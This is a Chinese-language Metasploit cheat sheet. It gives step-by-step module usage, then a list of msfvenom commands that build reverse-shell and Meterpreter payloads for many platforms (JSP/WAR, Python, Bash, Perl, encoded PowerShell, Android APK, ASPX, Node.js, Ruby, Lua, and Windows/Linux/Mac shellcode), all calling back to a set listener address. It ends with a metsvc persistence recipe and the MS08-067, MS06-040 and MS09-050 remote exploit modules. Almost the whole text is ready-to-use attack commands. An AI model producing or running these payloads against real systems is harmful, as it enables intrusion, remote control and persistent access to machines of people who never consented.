第一步: search name 模块 第二步: use name 模块 第三步: info 查看模块信息 第四步: show payloads 查看该模块可以使用的攻击载荷(为scanner的时候不需要) 第五步: set payload 载荷 第六步: show targets 查看该攻击载荷使用的系统类型(为scanner的时候不需要) 第七步: set targets num 设置目标的系统类型 第八步: show options 查看需要设置的参数show advanced 列出所有高级配置选项 第九步: set name 设置参数 第十步: exploit(为scanner 时用run) 第十一步: session –l –v列出所有可用的交互会话以及详细信息
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.war
Python:
1 2 3
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o shell.py
Bash:
1
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:
1 2 3
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.pl
Powershell:
1 2 3 4 5
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
msfvenom -a x86 --platform windows -p windows/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o x86_shell.ps1
msfvenom -a x64 --platform windows -p windows/x64/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershellbase64 -i 3 -f raw -o x64_shell.ps1
Android:
1
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f apk -o payload.apk
Aspx:
1
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f aspx -o payload.aspx
Nodejs:
1
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.js
Ruby:
1
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.rb
Lua:
1
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.lua
Windows Shellcode:
1
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f c
Linux Shellcode:
1
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f c
Mac Shellcode:
1
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f c
0x07 常用技巧
1、长期维持权限①
1 2 3 4 5 6 7
meterpreter > run metsvc -A
use exploit/multi/handler set payload windows/metsvc_bind_tcp set RHOST 192.168.3.226 set LPORT 31337 (默认) exploit
use exploit/windows/smb/ms08_067_netapi (MS08_067 Windows 2k,XP,2003远程攻击) use exploit/windows/dcerpc/ms06_040_netapi (MS06_040 Windows NT,2k,XP,2003远程攻击) use exploit/windows/smb/ms09_050_smb2_negotiate_func_index (MS09_050 Windows Vista SP1 / SP2和Server 2008(x86)远程攻击)